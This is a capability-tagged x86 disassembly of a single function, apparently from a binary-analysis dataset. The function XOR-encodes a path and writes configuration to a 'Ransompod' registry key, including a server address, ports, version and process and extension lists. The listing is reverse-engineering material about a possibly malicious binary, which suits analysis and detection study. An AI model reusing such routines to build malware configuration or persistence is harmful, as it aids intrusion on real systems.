Function at 0x40fa30
Capabilities:
Encode data using xor
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x2011f
push 0
push str.SOFTWARERansompod
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40fa73
mov eax, 1
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
push str.PathTemp
push dword [ebp - 4]
call edi
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.0045669c
mov esi, eax
add esp, 4
test esi, esi
jne 0x40fab4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
lea eax, [esi + 2]
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
inc eax
push eax
push 0
push esi
call fcn.0044f970
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push esi
push 0
push 0
push str.PathTemp
push dword [ebp - 4]
call edi
test eax, eax
je 0x40faf8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
add esp, 4
mov eax, 3
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
test ebx, ebx
jne 0x40fb2f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
add esp, 4
lea eax, [ebx + 4]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebx*2 + 0xa]
push eax
call fcn.0045669c
mov edi, eax
add esp, 4
test edi, edi
jne 0x40fb61
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
add esp, 4
lea eax, [edi + 2]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebx*2 + 0xa]
push eax
push 0
push edi
call fcn.0044f970
add esp, 0xc
push ebx
push edi
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x40fbae
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004533f0
push esi
call fcn.004533f0
add esp, 8
mov eax, 4
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.004533f0
add esp, 4
push edi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebx + 1]
push 0
push 0
push 0
push 0
push eax
push edi
push 0
push 0xfde9
mov dword [ebp - 0x18], eax
call esi
mov dword [ebp - 0xc], eax
add eax, 2
push eax
call fcn.0045669c
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40fc0e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004533f0
add esp, 4
lea eax, [ebx + 2]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
add eax, 2
push eax
push 0
push ebx
call fcn.0044f970
mov eax, dword [ebp - 0xc]
add esp, 0xc
inc eax
push 0
push 0
push eax
push ebx
push dword [ebp - 0x18]
push edi
push 0
push 0xfde9
call esi
test eax, eax
jne 0x40fc5f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 8
mov eax, 4
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0x2000000
push 3
push 0
push 1
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x40fca4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 8
mov eax, 5
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
mov dword [ebp - 0x18], eax
lea eax, [eax*2 + 6]
push eax
mov dword [ebp - 0x1c], eax
call fcn.0045669c
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
test esi, esi
jne 0x40fcfb
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 8
lea eax, [esi + 2]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x1c]
push 0
push esi
call fcn.0044f970
mov eax, dword [ebp - 0x18]
add esp, 0xc
inc eax
push 2
push eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
test eax, eax
jne 0x40fd51
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
mov eax, 6
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0
push 0
inc eax
push eax
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x40fda6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0xc
mov eax, 4
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
add eax, 2
push eax
call fcn.0045669c
mov ecx, eax
add esp, 4
mov dword [ebp - 0x10], ecx
test ecx, ecx
jne 0x40fde5
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0xc
mov eax, 2
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0xc]
lea eax, [esi + 2]
push eax
push 0
push ecx
call fcn.0044f970
add esp, 0xc
lea eax, [esi + 1]
mov esi, dword [ebp - 0x10]
push 0
push 0
push eax
mov eax, dword [ebp - 0x18]
push esi
inc eax
push eax
push dword [ebp - 0x14]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x40fe4e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004533f0
push dword [ebp - 0x14]
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0x10
mov eax, 4
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe53
sub ecx, edx
mov eax, 0
mov dword [ebp - 0xc], ecx
je 0x40fe72
xor byte [eax + ebx], 0xdf
inc eax
mov ecx, dword [ebp - 0xc]
cmp eax, ecx
jb 0x40fe66
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
push ebx
push 3
push 0
push str.Path_32
push dword [ebp - 4]
call esi
test eax, eax
je 0x40fec0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x10]
call fcn.004533f0
push dword [ebp - 0x14]
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0x10
mov eax, 7
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x10]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fed0
xor eax, eax
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
je 0x40ff5b
cmp ecx, 0x40
jb 0x40ff4e
movaps xmm2, xmmword [0x636a50]
mov esi, ecx
and esi, 0xffffffc0
mov dword [ebp - 0x18], esi
lea esi, [edx + 0x20]
mov dword [ebp - 0x1c], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x1c]
movups xmm0, xmmword [edx - 0x20]
lea edx, [edx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edx - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [edx - 0x50]
pxor xmm1, xmm0
movups xmmword [edx - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [edx - 0x40]
pxor xmm1, xmm0
movups xmmword [edx - 0x40], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [edx - 0x30]
pxor xmm1, xmm0
movups xmmword [edx - 0x30], xmm1
cmp eax, dword [ebp - 0x18]
jb 0x40ff04
mov edx, dword [ebp - 0x10]
cmp eax, ecx
jae 0x40ff5b
xor byte [eax + edx], 0xdf
inc eax
cmp eax, ecx
jb 0x40ff52
push ecx
push edx
push 3
push 0
push 0x46d484
push dword [ebp - 4]
call esi
test eax, eax
je 0x40ffa3
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x10]
call fcn.004533f0
push dword [ebp - 0x14]
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0x10
mov eax, 8
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call fcn.004533f0
push dword [ebp - 0x14]
call fcn.004533f0
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 0x10
push 0
push 0
push 7
push 0
push 0x46d48c
push dword [ebp - 4]
call esi
test eax, eax
je 0x40ffed
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 9
pop esi
mov esp, ebp
pop ebp
ret
mov edi, str.4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c
mov ebx, 0x50
cmp word [edi], 0
je 0x410008
push ecx
mov edx, edi
call fcn.0040a6e0
add esp, 4
add edi, 0x104
sub ebx, 1
jne 0x40fff7
push 4
lea eax, [ebp - 8]
push eax
push 4
push ebx
push str.BEPE
push dword [ebp - 4]
call esi
test eax, eax
je 0x41003d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebx + 0xa]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46d25c
push dword [ebp - 4]
call esi
test eax, eax
je 0x41006a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0xb
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.BLPE
push dword [ebp - 4]
call esi
test eax, eax
jne 0x41009a
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.WLPE
push dword [ebp - 4]
call esi
test eax, eax
je 0x4100af
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0xc
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.EXDE
push dword [ebp - 4]
call esi
test eax, eax
je 0x4100dc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0xd
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.PEAD
push dword [ebp - 4]
call esi
test eax, eax
je 0x410109
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0xe
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.PETP
push dword [ebp - 4]
call esi
test eax, eax
je 0x410136
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0xf
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.PFWP
push dword [ebp - 4]
call esi
test eax, eax
je 0x410163
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x10
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46d4f0
push dword [ebp - 4]
call esi
test eax, eax
jne 0x4101ab
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46cf44
push dword [ebp - 4]
call esi
test eax, eax
jne 0x4101ab
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46d4f4
push dword [ebp - 4]
call esi
test eax, eax
je 0x4101c0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x11
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46d4fc
push dword [ebp - 4]
call esi
test eax, eax
je 0x4101ed
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x12
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46d500
push dword [ebp - 4]
call esi
test eax, eax
je 0x41021a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x13
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.PUIP
push dword [ebp - 4]
call esi
test eax, eax
je 0x410247
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x14
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.FRRP
push dword [ebp - 4]
call esi
test eax, eax
je 0x410274
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x15
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 4
push 0
push 0x46d518
push dword [ebp - 4]
call esi
test eax, eax
jne 0x4102ae
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.MPRT
push dword [ebp - 4]
call esi
test eax, eax
je 0x4102c3
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x16
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 3
push eax
push 4
push 0
push str.NUIT
push dword [ebp - 4]
call esi
test eax, eax
je 0x4102f7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x17
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x1e
push eax
push 4
push 0
push 0x46d530
push dword [ebp - 4]
call esi
test eax, eax
je 0x41032b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x18
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0xc8
push eax
push 4
push 0
push 0x46d538
push dword [ebp - 4]
call esi
test eax, eax
je 0x41035f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x19
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x50
push eax
push 4
push 0
push str.ServerPort
push dword [ebp - 4]
call esi
test eax, eax
je 0x410393
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x1a
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x1bb
push eax
push 4
push 0
push str.ServerPortSSL
push dword [ebp - 4]
call esi
test eax, eax
je 0x4103c7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x1b
pop esi
mov esp, ebp
pop ebp
ret
push 0x10
push str.www.ransompod.ir
push 1
push 0
push str.ServerAddress
push dword [ebp - 4]
call esi
test eax, eax
je 0x4103f5
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x1c
pop esi
mov esp, ebp
pop ebp
ret
push 0x11
push str.v0.2.20.1000.A_F_
push 1
push 0
push str.Version
push dword [ebp - 4]
call esi
test eax, eax
je 0x410423
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x1d
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0x46c1c0
push 7
push 0
push 0x46d56c
push dword [ebp - 4]
call esi
test eax, eax
je 0x410451
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x1e
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0x46c1c0
push 7
push 0
push str.BExtension
push dword [ebp - 4]
call esi
test eax, eax
je 0x41047f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x1f
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0x46c1c0
push 7
push 0
push 0x46d580
push dword [ebp - 4]
call esi
test eax, eax
je 0x4104ad
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x20
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0x46c1c0
push 7
push 0
push str.BProcess
push dword [ebp - 4]
call esi
test eax, eax
je 0x4104db
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, 0x21
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0x46c1c0
push 7
push 0
push str.WProcess
push dword [ebp - 4]
call esi
push dword [ebp - 4]
test eax, eax
jne 0x4104c9
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret